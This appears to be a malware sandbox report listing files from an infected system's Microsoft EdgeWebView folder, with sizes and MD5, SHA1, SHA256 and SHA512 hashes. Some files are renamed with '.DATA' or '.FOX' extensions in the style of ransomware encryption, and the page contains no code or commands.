23224001904c9b75699e5231c3db088718485569dab1465cf4c03ea7a6de13b25efb6fea4be86a4982f41102c29b32d87e7c0752f5d1a16e9fb517a2a2dff762

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\Locales\mi.pak

Filesize
1.0MB

MD5
45cb75028b6fcc7f224c735fd55ff114

SHA1
b5da414db8830fb0b8f30af4abd0c12ce4ce628c

SHA256
e046fa8209fb6b93d93e8c3f5ad4bac7533d22e73884ce787b00a8c31ed0aa51

SHA512
9e11a874333d37b6cbef680c80e06368070fdacd454ac713fe5cc3c2851aa68d423113f4013a91a3d16210a20c1c5b26a62286b6e62296cd6fe1b36b29699832

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\Locales\nl.pak

Filesize
1.0MB

MD5
82b6e0e889736083d205a63970d39a6f

SHA1
8802160403334462f7c835e1a6c34d919a9e958a

SHA256
4c3952885cf0f42d1a5861a03503a6a2cc286e1f2d5753fe768faaaaa212c40f

SHA512
e3bec30b0aaceb1f3272e896ee629f71a13045848cc00925491f762a597e084044f377aad87275c295a2f59725afbd88871a1814d3004bb570017b6a1f197c33

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\Locales\or.pak

Filesize
2.3MB

MD5
1d476e3e39e9417f92466fe81b0a2be2

SHA1
bd1a9af58b7b15d83888df17cc4af20f598caa9a

SHA256
544f9daa1f189f6fb8f538641baa981167d48a812de696c333ea53d48c1e2b1f

SHA512
8d78452ec5e46af788a31f49bfd48d8d434edd38bef740910af3870474ca9c8e8d158eae56ca7207ead10e9fc233d8a4f810910cb01fd8d8b5ce328e8360f059

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\Locales\sk.pak

Filesize
1.1MB

MD5
bc8062742c02580f76d3d7dbf1e451c3

SHA1
e99ddc2e466b1e0d0957aaf64b204b1d4012fc33

SHA256
abd6081604318994cb6efc4ebfbefc26ef5b3d12bfbc5b2708eb370374b37c8c

SHA512
c8e398fd849d6351812e0aec740607007c0294db18c703466b79c97ded60ebc40428ed88cc5446dd50360a3d4c68069ad7c953e0d8bccf1a92b69c98e00377a5

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\Locales\sq.pak

Filesize
1.1MB

MD5
6435d8f6bb1e9d2d668892551b92112e

SHA1
7f8e71e2aca7d8bcabc3f284787a473d17e5db67

SHA256
45c2ec733474ca95715980c3759b7d09ee01c8adc4ce4bc520a283d138cdfebb

SHA512
727cd9c885296ea5019d85c3d97ea9ebd245c5d71751ee193eccfc5de242d2261e7ca6f5e0ad116c91bf5bce2f0016d9614820168daee8418e5af65cd83c4d3c

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\Locales\tr.pak

Filesize
1.0MB

MD5
b076ec772c3442dfd4c4dfc4b712cced

SHA1
a5ad833bc689b4a32939a3b57afaec414c6d8053

SHA256
5d499b9641fa58fcdf04f89386b6cd32fee963817bedfa245c718065a4a7f19f

SHA512
9a16cb5bbfee85b675ae47350145a6a47e8ca35a48788cf000f6143ecfaed6b0391f48c10090e378dd5891024b4ea6e944f418ef881deafa33328799c90946c5

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\Locales\ug.pak

Filesize
1.6MB

MD5
ee3171b461b67165df45e792f1cf9fc6

SHA1
b52b9d753b9c40fda41ac3f27a7b04ab89342a4f

SHA256
028219565479b654646fb90abc91bd10be4a413bc24fb9908ae671dedd8b4b91

SHA512
bb894672d080d575b0e8fc5c32804ecf9fe0b471d6f2fa7693cfff29f82f939e6fa2c2d8d4877f8244cbd4fc254483e41106159cd7cec2d00b3363b746d88c07

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\ResiliencyLinks\Extensions\external_extensions.json.DATA

Filesize
1KB

MD5
a254495f1ce60578dd48718e6a057373

SHA1
f5f4b42539cbdafde7918ac24f9e0c386f011855

SHA256
5bf43368a8902f5288d933bb243f9062cb7f3eadeccdf7acc24e20267ce54f79

SHA512
a336349a2247122acca79dde95c0e1c184533ca71aef74c9b44cb46e380e67ce2a75dc92b2255617743fa58c651ee3fd3f6034a0617dc848266e8072167fcc73

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\ResiliencyLinks\Locales\[[email protected] ].I2G8EqJX-8P0Kv5NV.FOX

Filesize
1.2MB

MD5
ba82516a6bda868ab4720fc2cfd2c8b5

SHA1
d903ab2f8f2c95474ac72bde116ed739e5c0a608

SHA256
086fc8c67348e0f472ad4a33be1553ebdfbf782c85c7df8cf98d00d84fcdf37f

SHA512
afc1d884d3da7e1a2e3b2246c21b098023db25112746d9b721d7f2c897560f0b1d5f879aa32171e6c9eae84ae0656250507450021a562c7b560999398a419763

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\ResiliencyLinks\Locales\ar.pak.DATA

Filesize
1.5MB

MD5
6990def637cd7567274c49a48c65c29b

SHA1
5a2d904b5088b13b82f6f7e5550825eb9c449036

SHA256
9647660bb941f83106d6650d146bd9470f223f426d2f8fa8acca1f1790e45ce2

SHA512
b3e30f2505150b5dfeb8c3a3cd2f3957acc9b7720889ddb4f2975b359eb8fad4ade900562b2d8d11c938cc6725d9fd7372fbb6e9fc18c3504a93db6c8e954b73

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\ResiliencyLinks\Locales\az.pak.DATA

Filesize
1.1MB

MD5
d37b50119c594b5d87173df6c3df157b

SHA1
6d798d8221fe7d4ef6e768844fa846144fa8f5bb

SHA256
bb02a478888a3a55e62071eb709d085809d3046dfa894da0a60b16db7a435911

SHA512
cacfb25959acc7c21d2b8a3d466f140c9993c7d211a6df775c39591b403b024aea1cec3b5b9989dbcaf49da6b7738752cdcb35186838d493e280e5613cd61e9b

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\ResiliencyLinks\Locales\bg.pak.DATA

Filesize
1.7MB

MD5
7e682f5c49f265096e6c6b7e86e15a70

SHA1
c00ff9cac8091688c97f5e609abb0bb28abdb8d3

SHA256
42e302173d4cb383d77487c603e3ec86f04d381a03dddf0fffec08eaeb0653fa

SHA512
b326fb329c1a71adafedb97aebbe8a5ff9e622c0549ff55c09dbd01f18042496a0f138faa8493c5855103b2c3794eb910406230e32542fca7741d388698fca35

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\ResiliencyLinks\Locales\bs.pak.DATA

Filesize
1.0MB

MD5
ef41a7ab4d4231412c0a46188cf0dbcc

SHA1
e3ab65dda1637f0ba717b7c8d771c69b766b4432

SHA256
2be13ecc880288dc20e8d278a856c4b5226ced368f9f3f4c16f42c9467bc4a19

SHA512
3db6113a7f815591182ed26154bea3b48a1887c952bd2773406639c639854822606dbf51a8301baab428cbdb8ac92542d0833e50317d0f2a10e9cf7a3f859c4c

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\ResiliencyLinks\Locales\ca.pak.DATA

Filesize
1.1MB

MD5
6fcfcddfd50873237e8c6f99c031bc23

SHA1
df15e54b8c4e75825d042c4ff728588efcc8ddd4

SHA256
04c7ecaf52173d82277c136b6134d4be5fd7eed0942472d866a07969e8bbe0a5

SHA512
be1289bdd18d72a1275b625c3d7b11d9fcd1a1a2934533e91834e95ae744bdf6564f0f0b87ac35a8b4b11b7924ab506cec1c4d7bd729a913156ef9d08a06c8db

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\ResiliencyLinks\Locales\da.pak.DATA

Filesize
992KB

MD5
a89a4c8cd8f1d0af8384f850d347ab69

SHA1
790b2a8181a7b888d4aa1b47104ab6da791dc00e

SHA256
7c9e5b6fb4838e59b8dd1a7edfc037f549ef923733569cde75bd86cb3cb2e3ba

SHA512
a4663fdcdab39f7f6b82f2528e7726a6b43f24b2625e02b3589cf07c398e795366bade506a6be8c664b8163c48e8928ea532d614505cdb91b48831a5c6fa26af

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\ResiliencyLinks\Locales\en-GB.pak.DATA

Filesize
906KB

MD5
91f6bb707932e8ddd29c6d9fa17294b5

SHA1
1d49356f66b5a67dc5e6bf1d208d55811cd98791

SHA256
1a9f5db8e05104cc6b22b175fe9be38b5842183c161bc0c286e805c5b581aa5d

SHA512
8dcbf13f18d3a1635b70374ad5bb6e6af157ce7a1681577ca8f974c8e384d76daefe5eeeaaf710bd2a6a4691621a10441ed53ea4ddf51d07f7041c84a187729c

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\ResiliencyLinks\Locales\es-419.pak.DATA

Filesize
1.1MB

MD5
0a569455fa36413d450d30f9409a4afa

SHA1
68ec78c1f540929d88ac4d363da433fb3c99d680

SHA256
3878a1b3aff82d10779ac5d967cdd3d61561d5f14de1ed2a89eeba440e3b5160

SHA512
d7807b46a148b713b62886e4532f1d4fb78573c9b281b4d94747ddd889ad703c0e49136184ba8bfe1f86f03f91d0d83bd8c03af692b923a693b9ff93f854cc60

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\ResiliencyLinks\Locales\et.pak.DATA

Filesize
982KB

MD5
259cf7e639fb29e1f1f3fd3789e289f3

SHA1
bb832d5b959567f20e347e90c727623716b7f137

SHA256
582f462ecf3bb0b25de387074421fee06d829c333920907c74a2201e682b89e9

SHA512
1c49a31ea958bce278e15b4bd7127bcd64c5a9ce06a5c63b3832f582f3f1e517030d92cd22c3a12d0942aaf3690e1f12cf531645c67303b0c667f62b5f235685

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\ResiliencyLinks\Locales\fr.pak.DATA

Filesize
1.1MB

MD5
b9f5d9733089561ad9d23da709b459e7

SHA1
f0bc323db423921c1ac74f89bc1efb6ad926bf6d

SHA256
587706ab4e668e7712ffcc49d5c65cd2bd3671826dbb80f6611d8c330ee83b5d

SHA512
7581eaa2475a9902cea6f9107f295caf81ef8c3187aaa9004e5199d3928d141482ee149a2f252413983f1119d76f329bc891e9fc208fa74475089019c4ac2d45

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\ResiliencyLinks\Locales\gd.pak.DATA

Filesize
1.2MB

MD5
cfe827a1acefbd23b22b5dc007228dd4

SHA1
895d99d12b67f5284be1aafb687415cb08d778d1

SHA256
4831822f76f5da5e51a5a2a36fda80a560454d5ed7840df0f9a8430265745c5c

SHA512
100c1154b7b32bd4d8e659c5efd2674487649447d452ff8ba43bab7812c2ab7db2fdad7d6a2c641d777b08fd0bcb81251611b3621eb5590b6d3eb23c979b0443

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\ResiliencyLinks\Locales\gu.pak.DATA

Filesize
2.1MB

MD5
38357c710c086b32fa30bf8f2550bdba

SHA1
b4661d5e8db5211b59b0860de8b5da2ae72164ce

SHA256
18856e1390fa2eb2e2939fc5f8a9b03ed6c9295fd432a111d47a3bfc1f493d85

SHA512
5dcd0ea9203c47bc201310a25d9de5d6386169dcda248dc07899faeb0d2ebb0c8d6f9555214de673c7e6ef9160a937dc470430d3cce8fc6d2a3ce95abf8a600c

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\ResiliencyLinks\Locales\is.pak.DATA

Filesize
1.0MB

MD5
1f9f0c0ce528f3b516b1d7e353daa7f9

SHA1
a1aa2fb708f6aba0911fbff28b71fae52288277c

SHA256
84f0fd840dc78228738c29c9ab9448398d364dd65676b620ca878e4f82a59b35

SHA512
c2d1858542a1bb0946e945dd974c6db6495cdc3a182b7fc847be3842ff3e0014617ff8e400c8515912713606a0c61cd9099dd788f9131a115cd93753ee98b6ff

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\ResiliencyLinks\Locales\ja.pak.DATA

Filesize
1.2MB

MD5
86367856150411bcab45a8fe558493ff

SHA1
148fd88889db50937b518e34d9d1d22d19b90340

SHA256
62cde31ff27f74b45faea2f4e960cba9c681d4f3fc56e305f6add9557f383f6e

SHA512
f89209b66d3bef6f688734f9890946db5f375217541c7070039458a592f9cc9fa1bf1a2a83e251ae1712fd52456f1dc89692d3567a1e350b666d97eb9f52983e

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\ResiliencyLinks\Locales\kk.pak.DATA

Filesize
1.6MB

MD5
3918b889adb07d3e9200b9b3b196c0ab

SHA1
32e27770d733ba51452b8f799b590a1d42fd34e8

SHA256
b9690ab3cce40e2428723ec749f1eab48fbfbdb4df88e3d967d219879423d364

SHA512
6389049e04d1decd7834dabc5ccb8ff82ba04b8e6516d1576d91ecfe89445a1154c719fbdd9a03cd52a9389857a75763b4d988f4eb8e4094f5ad8b675cf1124c

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\ResiliencyLinks\Locales\lb.pak.DATA

Filesize
1.0MB

MD5
0793a2e9cdb4b89471d0990f7f2d9c9e

SHA1
d4b01846e46287927f131167d1835c26017e2790

SHA256
eec89ded25f9d898826aa9c4f5eb955e0ef858c5644ac7332f8e2fbfdef9cfac

SHA512
6964fdae39f1816bf5277207b88f8a5b866597460fbbf51432f88026c89eafe22b2a42f28540f5993f9b620f0f515426877893e2cb1f8d274a5af0f1098d4702

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\ResiliencyLinks\Locales\lo.pak.DATA

Filesize
2.0MB

MD5
e1d902d48b4eae228e4abcc71d2ee4e9

SHA1
2d33e9a7484a2ae06c03782aaf480cebf4c11c8e

SHA256
2a24f221b71c22d0dbdad2ed459fb457c3c2e9ad0a29148265a5a8e92090b8cc

SHA512
bb0e75a805957784f4353a1b9b978f2fb7edb781799cc96b4b83876b7067591a5fee7917199c95ed2db044976081a2656a12a59953e4fc809f3d13ff865c02fa

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\ResiliencyLinks\Locales\ms.pak.DATA

Filesize
1006KB

MD5
2b53c8dfec69aed6876fa71f6d4e455b

SHA1
c1bb79833f427312f3bd6ef4e6598f02a72de449

SHA256
20635972dccf1a72d3a3ad7a41c644a9480e04ff07bb48762a5ad9f0f8dd0ba8

SHA512
ebd5e35f97e020010ca88369788ebf9b024b4fd5fe784b0960d8012d7e48f43f481ff39c108591b8781306fad0c0b9c421cff78835f2a251030479f86f710b82

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\ResiliencyLinks\Locales\nb.pak.DATA

Filesize
968KB

MD5
12269edfec21720fc2aeed7707df95c5

SHA1
04129415aea51a1c04bcbf2fa193719517cb1950

SHA256
31d072c93fa47f97bbf90786ac31d9f2e5387e0409476d26cfdad55675ad35ed

SHA512
9639cbb4b2b37f29f3d60c1f5b49af1a5a8c3f26d77b12c4b9c0ca0784cdbe90ab26d4b1790a17f230cd6141f3d7aea40b1044c97428057eb539eb9c16df48ca

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\ResiliencyLinks\Locales\ne.pak.DATA

Filesize
2.2MB

MD5
8f334a5421bdbcdc268153948cd0b44c

SHA1
9f8ea85b11f6b4c4405612898bc16bdef8293604

SHA256
2a784b4f96e283bc9584c4abcb3758b5c63b4fb25102ee09a1f0c17d5a8baf81

SHA512
19fe34fdb64299b5c8d519ecdb24b2ff664483e94ebca1c3487992217092dbb2d27d657fafd8db4e2595087e7a99e56b21559ca6502a3893a531e2309f02ec3b

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\ResiliencyLinks\Locales\pa.pak.DATA

Filesize
2.1MB

MD5
b25dc36659745a0124c4225e3347381f

SHA1
00553faaad25f4609546983da1dedf46bc6b35a7

SHA256
1934b86bf50fc94240d01caa0e119c35f951cc66f6e8309d71c90744b202a29a

SHA512
da427aa73c4a615e1e98caef558e163c91a68a4f3a191f722833cb7ef8aeb50c39183a9078eb0b20999063962f67a7c3c81385884f8d8ab5a76194e85c86319c

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\ResiliencyLinks\Locales\pt-PT.pak.DATA

Filesize
1.1MB

MD5
869c692dce60cf10d8e0412191556725

SHA1
d6a582013e6445dcd81d6e54359b4ab1224f0d85

SHA256
b6d7f5e3ce8b9d7bb46aedd303b1c051fc80dff40caa385b4b9d3b1e66429e60

SHA512
eac256e10d2af41faf8243408378c97631da9fdaef629a4ed6d82b85cc6c00620d0ef14ee96daf17b2de9420dc083d3bda84d18ebc609c3961e49aa11a26f885

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\ResiliencyLinks\Locales\ru.pak.DATA

Filesize
1.7MB

MD5
7d742d1991bdaa435cc58d92796aad86

SHA1
36eb6ffa8778e97a7911826f28887baed8e639db

SHA256
0fc20849dffb9d053e02aad25f15062dfab5839c783e7c145233b4531f600983

SHA512
ef9155fefe567d0d74bf5b1b37fc188d8d6fe5e5bd8eb76678e821325a5ce78afcab5f52efddda72795cf2afe09b8880a0d545acc89345194f1a5745ecc17fd2

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\ResiliencyLinks\Locales\sl.pak.DATA

Filesize
1.0MB

MD5
b6f433449eb0cb27fb65f97a92cdd6ad

SHA1
4485855cec9897758a82c6f49855d83314c32bdc

SHA256
b044d9d1852d3185ce42c048ba0e5fb4dd1f779f302bdb74b24c121b1da4d067

SHA512
6d43e92da1edce8b3a803161a5e2c1e96690ae7d828d8742cf14dcc53b807f3f8ce19c2e3d154f7dea49e65f4afe8bf7ac66ad33872af196694ece3e4cef6bc7

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\ResiliencyLinks\Locales\sr-Latn-RS.pak.DATA

Filesize
1.0MB

MD5
f035635342628c5c39c1b4d70b3bfb2f

SHA1
c67546e667a5889a330cda3a1e3a3cda4c638059

SHA256
0003462b55384f2ad7dabda2738f8a4c4ea5216bf157200cd1fd9c468b0fb6a3

SHA512
b895c5098d6306896b4da2b3edfc153a9c8214e64e1ad9facded3e1d9239900b0788667ff22f004b2465bfdd189c2d21923954f464e192c3b35204160adc9002

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\ResiliencyLinks\Locales\th.pak.DATA

Filesize
2.0MB

MD5
722ff620c48025ce9bd21669c2cf336a

SHA1
00cfb6694074f304cc1923cb4eac877a6c42fac6

SHA256
ee06c70f4e57262c9a28063a87ad4a7f21f40e6576a11205b6f09693a10becea

SHA512
67a38618e8ed34eee5def01105d8c3920a97dbfbcda945b230bdacda3200ebd65e4d4e312b156f79379858a86e321af3e23d17f576fd5e5f6dfdd0e69d089890

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\ResiliencyLinks\Locales\tt.pak.DATA

Filesize
1.6MB

MD5
caedea9da4a8e86622312683a6d3560b

SHA1
125222f49086104772d8509d4b6365920807d478

SHA256
9d7eec21fa4cf054400615feda26c53e98b2a57d9028ebc196f57f5b3af7254b

SHA512
bdc8891d3a2783ea2154e19346af552841ce327f2f38d8a1738d7f09a2c68d721a879dd168576017a70a49caabd4d61ba1e0aa582831a6e46bea70b2e29d517c

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\ResiliencyLinks\Locales\zh-CN.pak.DATA

Filesize
854KB

MD5
4cf94934392f6e827c26b3084fe82ada

SHA1
fec01093f8ccb53fb89fe7a6235ffd597729666a

SHA256
441bdeae122567e1f35ad6ceb2ecb7cbf77fd8107bde629ac12899d15eb3ae38

SHA512
d7cf796fc2ac8b21427178ed3addee5e3cd0c2ee6e8e3ce9b35c78be4b52181ba17f0c840e1ddfb54060fb6d608c847749addf6f44d3f1ca8193f95a8576e1b7

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\ResiliencyLinks\MEIPreload\preloaded_data.pb.DATA

Filesize
9KB

MD5
cb27e3121c0674c053fe9dee07fba46b

SHA1
e02665f7acc44f4be17abe7ae58c1f605caaf9b1

SHA256
6015d441873fa0415df29ca7b503023832cc5df4a81cf56cccf5c6bed0b4d28d

SHA512
2056243cb43e041f136fffe8668201eabb93524205d82e844ee487ece4c8cdfe3c8565ffd6495606e38a8fad34df959f2333ad6fa129fff6be14fd0c5ffe449a

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\ResiliencyLinks\Notifications\SoftLandingAssetLight.gif.DATA

Filesize
126KB

MD5
6676d95fbe5344e32d49ba0fafa76cc4

SHA1
21c00891f962c1a6d68554645b516d2485fb901e

SHA256
b58a96500c126f19d9cd714e9a5a7d0a956f712ef2ae69c0870ba3f09813d969

SHA512
b3ed8b2efbb4927df9bcffbaa04c9b53eafb9a6fa8a9217e8c386e1288359fb370d167e8af7ada55b015f21da229e89f71cf41014f99ce5446910f9427bdc885

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\ResiliencyLinks\Trust Protection Lists\Mu\Advertising.DATA

Filesize
26KB

MD5
1a4b1ba910ed41b121dce86bb5818dc8

SHA1
1b02e4f218791ff48002cde3f46cb06ddaffcaaa

SHA256
d4adbd34f86fd60251f6729793fb3afbfa623607d8a2331cf0a061857ce7478b

SHA512
3adfc2cca8e604b8e5e73736d494a15130dc7d700696eb32406c2e6e61ceb2d4903b581e4763e133574efadcf80a0ea4bdb0f77ffe28bf931a4cc1a5e477c444

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\ResiliencyLinks\Trust Protection Lists\Mu\CompatExceptions.DATA

Filesize
2KB

MD5
43b60e6e63915dbb1e9d5aa9c89d2b12

SHA1
0e822a2bdf0c4a910fd37fd6a2b02c1a56370806

SHA256
473b0e02261e7e1eaaee79aa620ab250902b1185a010eb3fe3d99c0124aeb4fe

SHA512
c454ec934f71f243d736236d24ca261bcf549d21309b69a1d4b8a5e030a74eca191d964e0d9085a9afbd33cb739cad8a0c5ea4afe7d546fdfdc47d496f93ee44

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\ResiliencyLinks\Trust Protection Lists\Mu\Cryptomining.DATA

Filesize
2KB

MD5
67b3356786bdaed237de9ca19a4e727f

SHA1
8315a8ee9b6e75fd8a7a187b804ee7030313f22c

SHA256
48f550f52866c1a79fae2820fbc78d4a17fd2786dc8930867d9634186d30673f

SHA512
e7861c2f129906bfb43048ce2b52f7e68c2465daab82b6ab795fc94af0ced366d825210df686bc76847834fb4810cc6bcbd4d388e8bc6e2031be7a7ca8415862

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\ResiliencyLinks\Trust Protection Lists\Sigma\Analytics.DATA

Filesize
1KB

MD5
282842a52d6fdd9f6de28cf02790ff7c

SHA1
83f10a0583e3a69d1281c011b0865a0989fd1408

SHA256
0f0e623d94ccb250ee2b24b5ce7c0f35f1994a546666ac4ba071deec990bffa6

SHA512
12697e2011c05b234efb697361bac942d872b102f016a943fa76ef884df20c5f9e781fb2a91ba3e4483ec44557b7cb4c3f2e18903b795d341ecb047fd0cce7e8

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\ResiliencyLinks\Trust Protection Lists\Sigma\Cryptomining.DATA

Filesize
1KB

MD5
554b424828f08a7085c578aa071a0533

SHA1
f239147e8af81bb221ba498d51896865c73e61b4

SHA256
dfb7792d5e703df729d01f73065c1428998da00fe5a166112c1447312841d893

SHA512
acc2ddc7764a82a570b27e18470cb2c2e8c1929a47918efbd420ce639e51188beee216c8a0daba32937c9f615072e05e7b45d7f5406c4d4495efdabbbed2090c

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\ResiliencyLinks\Trust Protection Lists\Sigma\Staging.DATA

Filesize
6KB

MD5
e955b49de333524a3cb0e5bf1130c134

SHA1
8d21f47941bee45cb071de873a0d6658ee0d3ee9

SHA256
f3c276f67e0efaab631ec1801807f35b65c43edb796d46d3dbfd9f8bb96eebff

SHA512
dd9b8403e34872aa95e5d88da94893f14565f8b7e849dbc82c1db1003da87f8e7fe54e323f7cce112e58fb73c506cd0b4c1dd18c5e4b6b03a95bc790b9e2ef56

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\ResiliencyLinks\VisualElements\LogoCanary.png.DATA

Filesize
30KB

MD5
f336f2b3e7b25ecc3916ff898b2b5a26

SHA1
5920ef390d59fd07f765b996a0483f22c66c1866

SHA256
f61af76e20d9712e9ab58d1f0be9cadcadf7bea76e6813437ec13f1aff527a21

SHA512
919164d50719fe005d4f313eef60db45d2ad2a1da9e40687ad0f532bd5c5be830f40a855cb0566347fcebbb9766c76d4519d50a85bbc566d39a5fad2db52b300

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\ResiliencyLinks\[[email protected] ].TeahdA6k-hRrGLs0a.FOX

Filesize
11.8MB

MD5
27e753aa387bd5ea2cc80df620377441

SHA1
8427fda36305bed108fea2307e4bf7afe6f34592

SHA256
5d3e5188e9046abac600ae1adff04883d87ff8575d348434c86df93fa6d31c20

SHA512
331a4517177468f7c4e6e753b9bbebf442c3705360387ef79e822edd86603d6a6e2d667b8944e2dfa2becb61e3e0487974b838f6da0e746af9fd13e703abb82d

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\ResiliencyLinks\edge_feedback\camera_mf_trace.wprp.DATA

Filesize
25KB

MD5
abddcbcc4c33f7464629f61f451ea7eb

SHA1
3c33afb2dc08905911a0bba8b6715c2421cd4eb8

SHA256
e2475fdd3067c69f596e7d1adee3ef7e3bf729e5d526ece7b3a6a6acc354fa17

SHA512
48bea8310039d6f3437d5b98539d4f4598c44feb006aa9d4cee9017c0acac125ef661f18895efabbf7702786c687675cd2957d36e94c41789d05c6d2dba55d68

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\ResiliencyLinks\identity_proxy\resources.pri.DATA

Filesize
5KB

MD5
68c68e1ecc75ec16f41bfaaa97c59585

SHA1
fd9b01de88eec4e8b0c3d57cbfee5ee54a97aadf

SHA256
e5b61326fbed38d144f04b10d8cde89587128c8362d95e8d3b3bc2e6f089e51c

SHA512
d3005086a559a654015a4458a2bbed5ceb27737bad615c36096b34dc3d397b283a6d3ca8ba5b58f399e6a9ccff4a6c7d2f54ffe541506bc54f4324bb8c62b6a5

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\ResiliencyLinks\identity_proxy\win10\identity_helper.Sparse.Beta.msix.DATA

Filesize
54KB

MD5
503a724fdbe19956f1e1729a526d7997

SHA1
752dc91c20f0a0c509ec66aa1cd12d32cdbcc3d9

SHA256
6d275546d019c70fd57d6cdf400d1f84ac49323e85114b38af8031310c3828aa

SHA512
d41e255b2535322551d7fa5d4d5b8bc4d044170588d6c1517172de95d6590571a993daa3ccd088d56b838c1d027268d86115f984f29a312a93cc4d74a5f7cd39

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\ResiliencyLinks\identity_proxy\win10\identity_helper.Sparse.Canary.msix.DATA

Filesize
54KB

MD5
64d3648b2d48ab1461bbb614280ee96a

SHA1
14df0e703f73305d8f0451719cbf9e73d9cdc3e8

SHA256
eab1069967ea821df95f2a8d09f11fc57b06ab705de723a58230e848de475318

SHA512
b57922ee735970664aba42ddfeadeab71b57ac21f03e940a44abbae5c7ab60bfc9a8dff536dec5b154f43cb97fee4a583246d0eb86f072163e369604c176ba4c

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\ResiliencyLinks\identity_proxy\win11\identity_helper.Sparse.Beta.msix.DATA

Filesize
54KB

MD5
aa0e2bc739957fb0ab5a7db954d3955a

SHA1
313a52e94d33dae0480507cd8b54a473ad86661a

SHA256
1294da3b02d2e7a2b78ebe5431123916ef6cb0f9650e8a2ae2eb4ea62d1a5e58

SHA512
b9fff4264c98ae1d8c9f14c4752ce8400deb5b38b6de810953a35b8e321d297335b838d8382690293942b6f598c5ffbdb3a7ce66ab57a248ec1cd51ca3142569

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\ResiliencyLinks\identity_proxy\win11\identity_helper.Sparse.Canary.msix.DATA

Filesize
54KB

MD5
0b1fa3fe2a460fdce30660e18dc2f355

SHA1
35d6d8f7a63a5c5a192716c0fa65f192b95c6281

SHA256
f4227a43bf45d65d2e599a85d2b6fa9b3d230f1ae3900c21a125ef75700abb88

SHA512
13d59827f37ba35129f74519aa5b7c90fe56169f38fb41ddce31dd73b27aa303e4af0595c961cb4b3e61db1396d8517898b80d0e28c2720b9406a24438eb73c0

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\ResiliencyLinks\identity_proxy\win11\identity_helper.Sparse.Dev.msix.DATA

Filesize
54KB

MD5
82e1997d3554db825f1b1377095f0ced

SHA1
5c946809756bc4337729f0329e3b5402fa4f5235

SHA256
337c8190d6e343a224a50ee99c7b0c3b92548a669782285f3147c04ad14a10d0

SHA512
e67915eb84e8c6beb5db27276839e08e7922fcb5b7d1896dea49f718a098a2a87dd18498e950cb3413f25df85a6c7bbe2967fafe4b1bd1d40a65e240b4b6ec09

